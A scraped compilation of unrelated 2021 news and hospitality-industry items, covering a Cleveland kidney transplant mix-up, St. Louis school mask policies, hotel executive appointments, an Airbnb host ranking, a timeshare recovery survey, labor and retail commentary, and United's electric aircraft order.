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A hospital in Cleveland, Ohio made a mistake by giving a new kidney to the wrong patient. Organ transplants can be very dicey if the donor organ is not compatible but good thing nothing got worse. Fortunately, the kidney was compatible to the patient.

University hospitals in Cleveland had a grave surprise as they reported a mistake concerning kidney transplants. Investigators are looking into how one of the UH made that error in designating who got the organ for transplant.

Errors like this would cause the patient in need to be kicked back into the waiting list. For some patients, this will be a matter of great concern.

The mix-up!

On July 2, two major operations were mistakes as one was a kidney transplant, which should have gone without a problem. The system reported that the kidney for a patient on the waiting list, did not get it. Instead, someone else got it, reported News5 Cleveland.

These operations are crucial that they need a perfect match for donor organs and patients. But this time there is compatibility for the wrong patient. Sources verify that the blood type is very compatible, noted NY Daily News.

An error like this should be noticed, but it was not given enough attention until the second operation. UH is not commenting on the progress of the surgery when the doctors had noticed they were giving the donor organ to the wrong recipient.

The patient who should have gotten it is again on the recipient list.

Read also: Fountain of Youth: Bacteria and Butyrate Hormone Can Help Prevent Aging

Who made the mistake?

According to University Hospital, it was allegedly two caregivers who made the mistake but no more information was given to the media. Whether they are doctors, staff, or nurses has not been started, and they are suspended while under investigative action.

The UH administration informed that the patients are still getting the necessary organ transplant as usual.

Other instances of confusion with transplant operations

It is not the first time that a mix-up has occurred. Another case of a transplant mistake was reported in 2013 at Toledo. The patient should have been Sarah Fudacz for a new kidney, with her brother as a donor.

What happened next during the operation for the transplant was a big problem. It was an unbelievable mistake that is inconceivable. Her brothers' kidney was thrown away by a nurse mistakenly. Fudacz later said that a part of her brother wasted.

This mistake by the nurse forced her to suffer months of painful dialysis from the monumental blunder.

If the kidney had not been disposed, she said that she could have been recovering and getting better.

Because of the mistake, the longtime nurse was fired from her job and the patient got a hefty $650,000 settlement for her pain.

The University Hospital told the error to the United Network for Organ Sharing, which manages organ transplants in the US. Other bodies like the Centers for Medicare and Medicaid Services are dealing with the controversy. They will take action after a review, cited ABC News.

Related article: Blood Plasma From COVID-19 Survivors Can Be Used to Fight Infection

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(The Center Square)  Nursing homes and long-term care facilities in New Hampshire will have access to a larger employment pool under a bill signed by Gov. Chris Sununu.
ST. LOUIS  Students at most St. Louis-area Roman Catholic schools will not be required to wear masks this fall, the Archdiocese of St. Louis announced Tuesday. The decision came amid warnings from local health officials about troubling signs of COVID-19 infections spreading among unvaccinated children in the region.

Beginning this upcoming academic year, the wearing of masks in archdiocesan schools will be optional and at the discretion of each individual family, the Archdiocese of St. Louis said in a message sent Tuesday. The archdiocese urges all school families, students, leadership, faculties and staffs to be thoughtful of their own health  and that of their community  in all of their decisions, especially regarding the wearing of masks and monitoring for COVID-19 symptoms.

The message from the archdiocese also strongly encourages COVID-19 vaccination for eligible staff and students 12 and older. More than 50,000 students in an 11-county region attend Catholic schools, according to the archdioceses website.

Meanwhile, St. Louis Public Schools said it will require masks for all students and staff this fall, in a plan approved Monday by the districts school board.

Most other area school districts have yet to release COVID-19 prevention plans for fall 2021. Northwest School District in Jefferson County and Rockwood School District in St. Louis County dropped their mask mandates for summer school.

As schools plan for fall classes, theres new concern about the rising COVID-19 cases. The St. Louis County Department of Public Health late Monday released a health advisory warning that cases are increasing at an alarming rate with outbreaks among children not previously seen in the pandemic.

We are very concerned about the health and wellness of children in the region. Children are transmitting COVID-19 to each other much more easily now than they were last year, the advisory read. In the last month, we have seen multiple outbreaks in day cares and camps that are largely driven by unvaccinated adults transmitting the disease to children, then children transmitting among each other.

Summer programs and day cares are seeing nearly everyone in a classroom become infected, whereas previously, an infected child may only spread it to a couple of others, said Amanda Brzozowski, senior epidemiologist with the county.

We really didnt see that kind of widespread transmission among kids very frequently last year, Brzozowski said. Day cares have even called me and said, You know, we didnt ever have transmission in the first year and a half of this. Why is this happening now?

Brzozowski suspects that the more infectious delta variant gaining a foothold in Missouri is to blame, exacerbated by the loosening of mitigation measures, such as wearing masks, staying home when sick and minimizing visitors in the building.

It just shows us exactly what kind of beast we might be working with now, and it shows us that maintaining the mitigation is even more important in protecting the kids and the staff, she said.

Brzozowski said she is sympathetic to the need for schools to plan mitigation polices, but it may be premature.

Im really urging all of those schools to be patient so that we can learn from what were seeing this summer and learn from the day cares and learn from the summer camps, Brzozowski said. We can see what is going on with the variants. We want to see what the transmission looks like.

Cases continue to climb

New COVID-19 cases have increased in St. Louis County over the past two weeks by 58%, according to The New York Times tracking site. The city of St. Louis saw a 45% increase, and St. Charles County saw a 181% increase.

Statewide, Missouri saw the seven-day average number of new cases reach 1,525 on Tuesday, nearly double what it was two weeks ago at 823 and the highest level since Feb. 6.

St. Louis County also released a report this week that included detailed case data over two weeks ending July 5, which showed the rate of new cases increased among all youth age groups.

The largest was a 126% increase among ages 15 to 19  which went from 8.8 to 19.9 cases per 100,000 people per day. Positivity rates among youth also saw big increases, with the biggest again among the 15-to-19 group, going from 4.2% to 11.5% in two weeks.

Among children ages 10 to 19 in the county (how the vaccine data is collected), 35% have initiated vaccination, officials said.

Statewide, data shows just 22% of youths ages 12 to 14 have initiated vaccination. Among the 15-to-24 category, 33.6% have gotten at least one dose.

The U.S. Centers for Disease Control and Prevention on Friday updated its guidance for COVID-19 prevention in schools. The guidance prioritizes in-person learning and states that only unvaccinated students and teachers need to wear a mask. Students are recommended to stay 3 feet apart if possible.

Ventilation, handwashing, staying home when sick, getting tested and quarantining are also other important layers of prevention.

Cities and states are so far taking different approaches. Some states such as Texas and Iowa are prohibiting schools from requiring masks, while cities like New York and Chicago have required students to wear masks.

Strategies for parents

Dr. David Hunstad, infectious disease specialist at St. Louis Childrens Hospital, said the Centers for Disease Control and Prevention recognizes that masking is one strategy out of many to reduce transmission and that each school has different considerations when crafting its policies.

Hunstad says even at schools with mask-optional policies, parents should feel comfortable having their unvaccinated child wear a mask, especially if the child is in close contact with people who have chronic health conditions.

If you as a parent are concerned about that, then please feel free to mask your child or ask your child to wear a mask and as much as possible, he said. And encourage your fellow parents in the school district or class to have their kids wear masks because that helps protect your child at the very least.

Parents being vigilant in identifying when their child is sick will be key, he said.

Really just having a low threshold for holding these kids out of school on a given day and getting tested, because I think that will be really an important piece, he said.

To help answer parents questions about children and the COVID-19 vaccine, two pediatric infectious disease specialists with St. Louis Childrens Hospital, Dr. Rachel Orscheln and Dr. Jason Newland, will host a livestream event on the hospitals Facebook page at 7 p.m. Thursday. Theyll answer questions about how families can navigate the return to school.
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Appointment

13 July 2021

The Nobu Hotel Miami Beach is excited to welcome new General Manager, Rhys O'Connell.

Rhys joins the hotel team with over 20 years of experience in the luxury hospitality industry.

Most recently the General Manager of the Hotel Zephyr in San Francisco, Rhys has focused on creating an innovative and unique guest experience that exceeds guest expectations.
Appointment

14 July 2021

The Vanderbilt, Auberge Resorts Collection, Newport's luxurious coastal retreat and celebrated vintage mansion, is delighted to announce Jordi Valls Blistin as General Manager. A seasoned hospitality professional with more than 20 years of luxury experience, Valls will oversee all operations for the iconic downtown property as it unveils a striking top-to-bottom transformation this summer.

Most recently, Valls was Resort Manager for Chileno Bay Resort, Auberge Resorts Collection, where he oversaw all areas of the property, including the two restaurants, luxury spa, 119 guest rooms and suites, and 82 residences. During his time at the Los Cabos resort, he played a key role in helping the resort obtain a Forbes five-star rating. Prior to his time with Auberge Resorts Collection, Valls held leadership positions at luxury hotels and resorts worldwide, including COMO Parrot Cay in Turks and Caicos, The Ritz Carlton Hotel Company and St. Regis Hotels.

Born and raised in Barcelona, Spain, Valls knew from a young age that food and hospitality would be a part of his life. He enjoyed cooking and discovering new recipes which ultimately inspired him to continue down the path of culinary training by receiving a Bachelor's degree in Hotel Management and Restaurant Administration from St. Ignasi in Barcelona, as well as a certification from the Catalonian Association of Sommeliers. After spending several years learning to be a chef in Asia and Europe, working with 3-Michelin star restaurants, followed by Executive Chef roles at various luxury hotel properties in the U.S., he redirected his focus, discovering a passion for the hospitality industry. This pivotal decision led to his return to school to obtain a certificate from the General Managers Program at Cornell University in New York. A veteran hospitality executive with an impressive leadership track record at luxury hotel brands, Valls has the creativity and vision to successfully lead the team at the celebrated Newport property.
Appointment

14 July 2021

KSL Resorts announces the appointment of Kristie Goshow as its new chief commercial officer to take charge of driving and maximizing revenue performance of the company's growing portfolio of resort properties. Goshow assumes the position following the retirement of former KSL Resorts' CCO Jeff Senior, who was the visionary of the transformation of Orange County's former St. Regis in Dana Point into the Monarch Beach Resort and served on Visit California's board leading its marketing strategy for several years.

According to James Struthers, president of KSL Resorts - which invests in and manages world-class destination resorts, hotels and clubs - Goshow will be instrumental in accelerating the company's growth strategy with a focus on defining, implementing and establishing accountability for key performance indicators.

With more than 20 years of hospitality industry experience, Goshow is well equipped to follow in Senior's footsteps, having led teams in all facets of the hospitality industry - from hotels to airlines to travel technology.

Goshow was most recently chief marketing officer for Preferred Hotels & Resorts, where she oversaw brand strategy, strategic partnerships, global merchandising and digital marketing. Prior to that, she was senior vice president - commercial for Viceroy Hotel Group, a position she held for five years and was also vice president of marketing for Sabre Hospitality Solutions. She began her career in marketing and corporate sales for such high-profile companies as Virgin Atlantic, Scandinavian Airlines, Le Meridien Hotels and Pegasus Solutions.

A member of the board of governors for Hotel Technology Next Generation (HTNG.org), she was recognized by the Hospitality Sales and Marketing Association International (HSMAI) as one of the top 25 extraordinary minds in hospitality sales, marketing and revenue optimization in 2019. She holds a bachelor's degree in travel, tourism and transport management from London Metropolitan University.
Industry Update

Appointment

14 July 2021

Hossam Shehata

Appointed Cluster Commercial Manager

At Hilton Cairo Heliopolis, Egypt

New commercial team leaders have recently joined the iconic hotel in Cairo; Hilton Cairo Heliopolis! The newly onboard team includes Cluster Commercial Manager; Hossam Shehata. Cluster Commercial Manager Hossam Shehata brings over 20 years of commercial and sales experience to the team. Hossam is no stranger to top hotel brands having worked with Hyatt, Accor and IHG in Egypt. Hossam's key strengths include attracting new accounts, managing revenue streams, and maintaining solid account relationships. He is leading the sales team with its different segments.

Hilton Hilton (NYSE: HLT) is a leading global hospitality company with a portfolio of 17 world-class brands comprising nearly 6,000 properties with more than 954,000 rooms, in 117 countries and territories. Dedicated to fulfilling its mission to be the worlds most hospitable company, Hilton earned a spot on the 2019 Worlds Best Workplaces list, and has welcomed more than 3 billion guests in its 100-year history. more information

Recent Appointments at Hilton Eihab Attia - Cluster Director of Marketing 14 July 2021  New commercial team leaders have recently joined the iconic hotel in Cairo; Hilton Cairo Heliopolis! The newly onboard team includes Cluster Director of Marketing; Eihab Attia. Flying from Muscat to Cairo; Eihab Attia; Cluster Director of Marketing joins Hilton after nine years of hospitality experience in marketing and communications with the luxurious Shangri-La Barr Al Jissah Resort & Spa and Royal Tulip Muscat by Louvre Hotels Group. read more

Mariette Magdy - Cluster Director of Groups, Conferences & Events 14 July 2021  New commercial team leaders have recently joined the iconic hotel in Cairo; Hilton Cairo Heliopolis! The newly onboard team includes Cluster Director of Groups, Conferences & Events; Mariette Magdy. Mariette Magdy; Cluster Director of Groups, Conferences & Events has been in the hospitality field for over 20 years working with high-end hotel chains including Sofitel, Fairmont, Le Meridien, and JW Marriott as well as Sheraton Dubai before her current role at Hilton Cairo Heliopolis. read more
Appointment

14 July 2021

New commercial team leaders have recently joined the iconic hotel in Cairo; Hilton Cairo Heliopolis! The newly onboard team includes Cluster Director of Groups, Conferences & Events; Mariette Magdy.

Mariette Magdy; Cluster Director of Groups, Conferences & Events has been in the hospitality field for over 20 years working with high-end hotel chains including Sofitel, Fairmont, Le Meridien, and JW Marriott as well as Sheraton Dubai before her current role at Hilton Cairo Heliopolis. An experienced hotelier in events-selling, driving revenue, and handling social events such as weddings, Mariette is leading the events team promoting Hilton Cairo Heliopolis as a unique MICE-destination.
Appointment

14 July 2021

On the heels of Bonaire appointing its new Director of Tourism, Miles Mercera, Tourism Corporation Bonaire (TCB) is also happy to announce the addition of Dr. Robertico R. Croes as its Tourism Strategist & Advisor.

Dr. Croes, a Professor and the Associate Dean who also currently serves as the Director of the Dick Pope Sr. Institute for Tourism Studies at the University of Central Florida's Rose n College of Hospitality Management, will bring over 40 years of tourism and foreign affairs experience to the role.

His extensive background includes publishing four books about tourism management in warm-water island destinations, tourism and poverty reduction, the challenges facing small island destinations, and the application of demand models to a small economy. Croes will publish his fifth book, Small Island and Small Destination Tourism, in December 2021.

Additionally, he has contributed to many more books, has issued over 130 published works, emitted more than 30 industry reports, and made presentations on these topics throughout the world, Croes has also consulted in numerous countries including Nicaragua, Costa Rica, Ecuador, Brazil, Aruba, Curacao, Bonaire, Grenada, Italy, and the United States.

Since receiving his doctorate from the University of Twente, the Netherlands, Croes has published countless articles in a variety of tourism journals and served on the editorial board of four. Croes is the recipient of the 2015 and 2018 Thea Sinclair Award, the 2015 UCF Research Incentive Award (RIA), 2015 Best Graduate Student Research Paper, presented at the 32nd International Association of Hospitality Financial Management Education Research Symposium. New York University, N.Y., November 7, 2015, and several other awards.
Appointment

14 July 2021

Radisson Hotel Group Americas today announced the appointment of Tom Buoy as Executive Vice President & Chief Commercial Officer.

This newly appointed leader will join Radisson Hotel Group Americas' Executive Committee.

In his role, Buoy will be responsible for bringing a visionary and thoughtful approach to shaping the commercial strategies, along with building and executing plans to support the success of the company.

Most recently, Buoy served as President and Chief Executive Officer of his own consulting business. During his career, Buoy also led the commercial transformation at Extended Stay America, leveraging an agile and data-driven approach to overhaul the company's revenue management, marketing, and sales processes. Additionally, he served as Senior Vice President, Customer Marketing and Revenue Management for Morgans Hotel Group (previously Ian Schrager Hotels) and worked in Operations and Revenue Management with Accor Hotels in Australia.
Press Release

13 July 2021

Unforgettable trips are made possible by Hosts who provide consistent and exceptional hospitality for their guests. Host hospitality can take many different forms  a sparkling clean house, responsiveness to guest questions and needs, streamlined check-ins that make arrivals a breeze, and going above and beyond to prioritize health and safety.

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With those qualities in mind, we sought to find and honor the absolute best of the best, in each of the 50 US states. To identify the most hospitable amongst our tenured Hosts in the US for the 2021 list, we set a high bar. Here are our criteria:

Hosts had to have achieved 100% 5-star ratings in the following categories: Cleanliness, Check-in and Communication. To raise the bar even further, we set the minimum number of reviews at 100. Many states had more than one Host who achieved this incredible standard of 100% in all three categories. To narrow it down to the most hospitable Host in those states with more than one qualifying Host, the tiebreaker went to whomever had the greatest number of reviews.

Great Hosts have always been the lifeblood of our community. Great hospitality  particularly qualities like cleanliness and safety  took on even greater importance in the midst of the pandemic. We are in awe of these extraordinary Hosts who have maintained this level of perfection, with 5-star reviews 100 percent of the time in these review categories that matter deeply to our guest community.

Highlights:

Of the 50 Hosts:

100% are Superhosts

At least 33have listings that are on or attached to their primary residences , including 23 whose listings are guest suites or guest houses

, including 23 whose listings are guest suites or guest houses 42 maintain just 1 or 2 listings

8 host out of big urban cities with populations of 300,000 and above (Austin, Denver, Las Vegas, Minneapolis, Nashville, New Orleans, Oklahoma City, St. Louis)

with populations of 300,000 and above (Austin, Denver, Las Vegas, Minneapolis, Nashville, New Orleans, Oklahoma City, St. Louis) 18host out of smaller villages and towns with populations of less than 10,000

Consistently receiving 5-star reviews across these important categories is no small feat. As we got to know these Hosts and share the news that theyd achieved these most hospitable distinctions in their respective states, we asked them to share their tips, tricks, and best practices for making their guests dreams come true:

We try to make an experience for our guests that is different than home. When people are spending hard-earned vacation time and money, we want our cabin to be magical and memorable. We put extra touches like wildflowers, home-baked bread and a personal note for our guests.  Brian & Barb J. (Bloomington, IN)

Traveling as guests gave us an understanding through firsthand experience. Some of the things that guests need are intangible. We make sure our guests know that were warm and approachable if they have any requests or issues  Glenn & Suzanne S. (Mendocino, CA)

We are very dedicated to our apartment as I built it with my own two hands. My wife and son actually helped with some of the construction. My wife did and does all the interior decor and the flawless cleaning to detail. Our Airbnb isnt just a rental, it is a part of us.  Perry F. (Mt. Pleasant, SC)

Clean everything, when in doubt, clean it again. If it looks a little worn, replace it. Have two of everything in case you dont have time to clean it in between  Jay & Jayne C. (Austin, Texas)

I meet each and every one of my guests. I sit down with them and share maps and tips and tricks about Maui. Guests can read tourist books, but hearing from a local makes a big difference.  Gammy A. (Kihei, Hawaii)

Whether theyre welcoming guests to a tiny house in a backyard, an in-law suite above a garage, or a guest house on an expansive farm, these Hosts have an attention to detail that we love in our community, and thousands of guests have noticed. For a full list of the most hospitable Hosts and their listings in the US, check out the list below:
Opinion Article

14 July 2021

The impact of the COVID-19 pandemic on the timeshare industry was significant; however, industry leaders are optimistic that the recovery is underway and that the recovery timeline may be relatively short.

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HVS reviewed the 2020 year-end annual reports of four public timeshare companies: Hilton Grand Vacations, Marriott Vacations Worldwide, Travel + Leisure Co. (formerly Wyndham Destinations), and Bluegreen Vacations. Our research revealed that timeshare interval sales in 2020 ranged from 39.5% to 59.3% of timeshare interval sales achieved in 2019. The overall average penetration of the 2019 sales volume achieved in 2020 for the four public timeshare companies was 45.7%.

ARDA International Foundation (AIF) is a timeshare research and education group that completes annual surveys of the industry. Based on the results of AIFs 2021 State of the Industry survey, annual timeshare sales achieved in 2020 totaled approximately $4.9 billion, which represents 47% of the timeshare sales volume achieved in 2019 ($10.5 billion). The annual timeshare sales performance estimated by AIF for the past five calendar years is illustrated in the following table.

Historical Sales (Billions)

Historical Sales (Billions)  AIF

HVS Shared Ownership Services conducted a survey of the top 16 national and regional timeshare companies to measure the impact of COVID-19 in 2020 and gauge the industrys outlook for recovery. The survey response rate was 50% (eight respondents). Typically, eight respondents would not be enough for a survey; however, given the small size of the timeshare industry, we believe the responses are informative and illustrate how a sizable portion of the industry views the timeline for recovery. The results of the survey are shown in the following tables.

Gross Timeshare Sales in 2020 as a Percentage of the Gross Timeshare Sales in 2019

Gross Timeshare Sales in 2020 as a Percentage of the Gross Timeshare Sales in 2019  HVS Survey

The survey responses indicate that the pandemics impact on timeshare sales in 2020 varied significantly, ranging from less than 30% of the 2019 timeshare sales volume to 81%90% of the 2019 timeshare sales volume. Three of the eight responses indicated that the timeshare sales in 2020 were 51% to 60% of the 2019 timeshare sales level. We note that the overall average of our survey was slightly higher than the average of the four public timeshare companies discussed above, as well as the AIF survey. Our survey was anonymous; however, the inclusion of regional timeshare companies in our survey likely contributed to an overall higher penetration rate. From our fieldwork related to appraisals of timeshare resorts, we have observed that the degree of impact was largely driven by the location of the resort system, as timeshare resorts in drive-to regional markets that were perceived as being safe were considerably less affected than large destination markets such as Hawaii, Orlando, and Las Vegas.

Gross Timeshare Sales in 2021 as a Percentage of the Gross Timeshare Sales in 2019

Gross Timeshare Sales in 2021 as a Percentage of the Gross Timeshare Sales in 2019  HVS Survey

Overall, the survey respondents anticipate that timeshare sales volume in 2021 will be approximately 70% of the 2019 sales volume, which is a projected increase of about 32% from 2020.

We have observed that regional markets are achieving strong performance thus far in 2021 and, in some cases, are already exceeding 2019 levels. Timeshare resorts in destination markets, such as Orlando and Las Vegas, are lagging the performance of regional markets; however, these markets are realizing a steady recovery with a notable uptick in recent months. In particular, Las Vegas is experiencing tremendous recent growth in tourism, with a reported month-over-month increase in visitors of 44.8% in March 2021 and air-passenger traffic almost doubling in 2021 from January (1,505,622) to April (2,906,866).[1]

Gross Timeshare Sales in 2022 as a Percentage of the Gross Timeshare Sales in 2019

Gross Timeshare Sales in 2022 as a Percentage of the Gross Timeshare Sales in 2019  HVS Survey

The survey respondents are generally optimistic about the timeshare industrys road to recovery. Four of the eight respondents expect that the timeshare sales volume in 2022 will be 91% to 100% of the sales volume achieved in 2019, and one respondent anticipates that the sales volume in 2022 will exceed the 2019 sales level.

Gross Timeshare Sales in 2023 as a Percentage of the Gross Timeshare Sales in 2019

Gross Timeshare Sales in 2023 as a Percentage of the Gross Timeshare Sales in 2019  HVS Survey

The theme of confidence about the timeshare industrys road to recovery was reflected in the projection of timeshare sales volume in 2023, with more than half (five of eight) of the respondents anticipating that the sales volume 2023 will exceed the 2019 timeshare sales volume.

Gross Timeshare Sales in 2024 as a Percentage of the Gross Timeshare Sales in 2019

Gross Timeshare Sales in 2024 as a Percentage of the Gross Timeshare Sales in 2019  HVS Survey

Of the eight companies that responded, seven indicated that they project the timeshare sales volume in 2024 will exceed the sales volume achieved in 2019.

Based on our review of the survey responses and utilizing the gross timeshare sales volume achieved in 2019 as the base year, HVS Shared Ownership Services has projected the recovery timeline for the timeshare industry in the following graph, with expectation of a full recovery in 2023 or 2024.

HVS Projection of the Timeshare Industry Recovery (2019 Base Year)

Sales Volume as a Percentage of 2019 Sales

HVS Projection of the Timeshare Industry Recovery (2019 Base Year) Sales Volume as a Percentage of 2019 Sales  HVS Shared Ownership Services

In our opinion, the timeshare sector is well positioned to lead the travel industry out of the crisis. The typical timeshare unit features kitchens, as well as washing machines and dryers, and the larger size of timeshare units (compared to hotel rooms) reduces the guests reliance on common amenities and inherently accommodates social distancing. Furthermore, timeshare is focused on the leisure demand segment, which insulates the industry from business and group travel trends; these segments are generally expected to lag in the recovery.

Overall, HVS Shared Ownership is optimistic about the recovery of the timeshare industry. We continue to watch the factors affecting the industry, and our consulting and valuation engagements allow us to keep our finger on the pulse of the industry.
Opinion Article

14 July 2021

As we all have heard by now, many retail businesses such as restaurants, hotels, and stores are really struggling to recruit enough new team members to support increased demand post-Covid. When obstacles arise in business or in life in general, the path of least resistance is almost always to blame someone else instead of self-reflecting. True self-reflection leads to rethinking previous behaviors and adopting new strategies. In this case of the Post-Covid world, most businesses are blaming the Federal Governments atypically generous Unemployment Benefits as the reason they can not find the help they need.

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Data surrounding the correlation between the extra Unemployment Benefits and the inability of retail businesses to fill job openings is still fairly limited, due to how recent this phenomenon is. According to Econofact, the limited data out there is quite inconclusive.However, the retail industry as a whole is aggressively lobbying with local municipalities and Capitol Hill and the White House to end the extra jobless benefits as soon as possible.

Lets assume for a minute that the theory of excessive unemployment benefits incentivizing would be-workers to stay home is 100% true. For this to be true, a worker is making the financial decision that a little bit of temporary pay increase from the Government is superior to a long term job with slightly less pay but much more stability, upwards earning potential from career advancement opportunity and the sense of fulfillment that can come from providing a product or service that enhances a customers life.

Most economists and financial advisors would probably consider that a questionable, if not outright poor financial decision. If ending excess benefits unleashes this subset of the workforce, what does the outcome really look like? Is this the talent pool businesses really think will solve their current issues? The worker who would rather eat potato chips and watch Netflix than work is going to make their business better ?!

At Pathfinder Development, our Director of People and Development has helped shape a culture that emphasizes passive candidate recruiting and maximizes the reach available to us by tapping into the social and professional networks of current Team Members. We were inspired many years ago when we learned that great companies strive for 35-45% of new hires to come from referrals and adopted this as one of our key goals.

The preponderance of psychological research suggests that compensation is an important element of a workers motivation, but that many other factors also come into play. Daniel Pink has written several best-selling books on business and the motivations of human behavior. In these books, Pink offers evidence to support the theory that intrinsic or non-financial motivations such as autonomy, mastery (the desire to improve) and a sense of purpose are just as, if not more important, than pay. A recent study from the Army analyzed 11,320 cadets entering classes at the US Military Academy at West Point. Cadets with a primary motivation of compensation were less likely to graduate and become commissioned officers than Cadets whose primary motivations were intrinsic, such as learning from Superiors and becoming a leader.

Perhaps what there is really a shortage of is not competent and motivated workers but of good work environments. When a company does not provide a sense of purpose to its employees, doesnt focus on teaching and developing them, and grants them limited autonomy, it can not logically expect the many who are intrinsically motivated to flourish, become the best versions of themselves and shine for their organizations.

One of the more egregious examples of the shortage of quality working environments is the handling of mask-wearing requirements. In accordance with CDC recommendations, the vast majority of retail establishments do not require vaccinated guests to wear masks. However, most retailers, initially still required Team Members to wear masks whether they were vaccinated or not. Many still in fact require Team Members to wear masks. What does it say about how much you value your Team Members when they arent treated with the same level of trust that your guests are? Why would you expect a Team Member treated this way to love his/her job?

Businesses should self-reflect and stop asking When is the government going to stop the excess UE benefits? and ask Why would a Team Member want to work here? The more the latter question is explored, the closer a company can get to developing an environment where people wouldnt see a slightly higher rate of temporary Government benefits as worth giving up the overall benefits of being employed.

After all, our ultimate long-term business success will come from leaders who are intrinsically motivated because they wind up being more successful than people only it for money  and their companies are better for their presence. We need more of them and to do that, we have to be fishing in the right talent pool. For most of us, we actually already have a great internal talent pool but struggle to access it. Studies by Gallup have indicated that only 29% of American workers are engaged at work. If 71% of your Team Members are unengaged, the opportunity to grow your business value by doing the hard work necessary to determine what it would take for the 71% majority to be more motivated. But do we have it in us to accomplish this? Or should we rely on our Government policies? The choice is ours  as will be the consequences of the route we pursue. It seems more rational to put your faith in yourself than an outside entity as flawed as our Government.

We feel very blessed at Pathfinder Development that we arent facing the labor challenges the retail industry is as a whole. It is a testament to the integrity of everyone on the Pathfinder Team that short-term excess Government benefits have tempted very few of our Team Members to leave for another job or stay home. A few years ago, we evolved into a company that emphasized the empowerment of our Team Members as a bedrock of our culture. As we gave Team Members a more and more prominent seat at the table through activities such as Committees designed to reshape the company and accelerate personal and career growth, Platinum Service became not just a virtue we sought to provide to external guests but to internal guests (Team Members) as well.

For Pathfinder Development, investing in peoples well-being has proven to not only be the right thing to do ethically, but also a good business decision. We can say with strong conviction that any business who dares to make this part of their cultural foundation, will see labor not through the lens of a transactional hassle but as an opportunity to transform themselves into an organization whose biggest strength is creativity and passion of their people.
Hundreds of thousands of retail workers will spend all of Thanksgiving Day with their families this year, perhaps a minor benefit springing from the COVID-19 pandemic.

Target, Walmart, Best Buy and Bed Bath & Beyond have all announced plans to remain closed after years of trying to compete with online retailers and ruining their employees holidays. Executives say they are doing whats best for customers and employees. It is also a smart business decision.

Last Thanksgiving, the coronavirus was spreading unchecked, and widespread vaccinations were still months away. Retailers either closed on Thanksgiving Day or severely limited access to stores for public health reasons.

TOMLINSONS TAKE: After COVID, workers want better conditions to return to work

We completely reinvented our approach to the busiest shopping season of the year, with a focus on making every experience easy, convenient and safe, Target said in a blog post announcing holiday revenue results in January.

The national retailer did away with so-called door-buster sales on Thanksgiving Day and Black Friday to offer discounted prices for the entire season. Target also provided expanded price matching to make sure other retailers did not undercut them. Then they closed all stores for all of Thanksgiving Day.

It all led to strong sales in both our stores and our digital channels, which outpaced the market and surpassed previous site traffic records as we welcomed millions of new guests, the company added.

The same was apparently true for Americas other large retailers. Offering better online shopping experiences means store workers can have an extra helping of turkey, rather than suit up for crazed shoppers scrambling for discounted holiday gifts.

Closing our stores on Thanksgiving Day is one way were saying thank you to our teams for their dedication and hard work this year, Dacona Smith, executive vice president and chief operating officer for Walmart U.S., said in a statement last month.

Commentators such as myself have long denounced the arms race between online and brick-and-mortar retailers around holiday shopping. Too many store operators convinced themselves they were losing customers to e-commerce by not opening on the holiday. Now they know better.

Retailers of every flavor have discovered that success requires operating in many different channels: in-store, online, or buy online and pick up in-store, to name a few. Customers have rewarded retailers who offer the right mix of options with a 6.7 percent increase in sales between 2019 and 2020, according to the National Retail Federation.

Even small-time retailers are adopting Big Box Store strategies as the cost of e-commerce technology comes down.

Applications to start new businesses hit record-high numbers in 2020, despite the pandemic, according to Census Bureau data. One out of three new companies was a non-store retailer, according to an analysis published by the National Bureau of Economic Research, a nonprofit research agency.

Starting a new business is the ultimate expression of faith in the future, but what we are witnessing is actually a rebirth and a transformation.

Economists at the Federal Reserve Bank of Dallas estimate the pandemic wiped out 130,000 more businesses than would have otherwise closed during that period. Walk through any downtown, shopping center or the Houston tunnels and the business death toll is easily tallied by the number of For Lease signs.

Given that existing small businesses in Retail Trade and Accommodation and Food Services have suffered especially large declines in the pandemic, these patterns are consistent with restructuring induced by the pandemic, John Haltiwanger wrote in the National Bureau of Economic Review paper. The shift towards e-commerce is likely to stick as this reflects a pre-pandemic trend.

Most new businesses, of course, fail within the first five years, and most of those that survive do not grow very big. But young companies that thrive cumulatively create most new jobs in the U.S. economy.

COVID-19 is undoubtedly still spreading and devastating the unvaccinated. But Americans have moved on from the initial shock and uncertainty of lockdown, and thanks to government intervention, they are showing extraordinary optimism.

TOMLINSONS TAKE: COVID-19 knocked a lot of businesses out. Time to rebuild.

Hiring is picking up and wages are rising, signaling significant economic growth in the year ahead. Retail sales are expected to reach $4.4 trillion in 2021, the National Retail Federation predicts.

Most indicators point toward an energetic expansion over the upcoming months and through the remainder of the year, the federations chief economist Jack Kleinhenz said.

Big retailers are finding ways to meet customers needs while respecting employees and their families. Small retailers are investing in new businesses to meet their communities needs.

While many retailers must still make some painful adjustments, and many will fail, storekeepers remain critical to our lives and economy. May the good ones thrive.

Tomlinson writes commentary about business, economics and politics.

twitter.com/cltomlinson

chris.tomlinson@chron.com
United Airlines on Tuesday said it will buy 100 ES-19 aircraft from the Sweden-based electric aircraft startup Heart Aerospace.

The Chicago carrier will invest an undisclosed amount in the new airplanes, which must first meet United's safety, business and operating requirements.

Bill Gates' Breakthrough Energy Ventures will also invest an undisclosed amount as will Arizonas Mesa Airlines, which will add 100 ES-19 aircraft to its fleet.

OIL MARKET: Oil industry consolidation hits two-year high

"Electric aircraft are happening nowthe technology is already here," CEO of Heart Aerospace Anders Forslund said in the release. "We couldn't be prouder to be partnering with United, Mesa and BEV on taking our ES-19 aircraft to market. I can't imagine a stronger coalition of partners to advance our mission to electrify short-haul air travel."

The ES-19, a 19-seat electric airplane that could hit the market as early as 2026, has the potential to fly up to 250 miles. It will be larger than its all-electric competitors and will operate on the same types of batteries used in electric cars. By using electric motors instead of jet engines, and batteries instead of jet fuel, Heart's ES-19 aircraft will have zero operational emissions.

For the carriers, the move will reduce emissions to meet increased customer demand and government requirements for cleaner energy to reduce global warming.

For United, the ES-19 could operate on more than 100 of its regional routes out of most of its hubs, including Chicago's O'Hare International Airport to Purdue University Airport and San Francisco International Airport to Modesto City-County Airport.

"We expect the short-haul regional air travel market to play a key role in the evolution of the electric aircraft, Michael Leskinen, United's Vice President Corp Development & Investor Relations, said in the release. As battery technology improves, larger-gauge aircraft should become viable but we're not going to wait to begin the journey.

United has set a goal to reduce its greenhouse gas emissions 100 percent by 2050, without relying on traditional carbon offsets.
Oils rally fizzled as a build in U.S. fuel inventories and a potential OPEC+ agreement to increase supply cooled a buying spree that had pushed the market above $75.

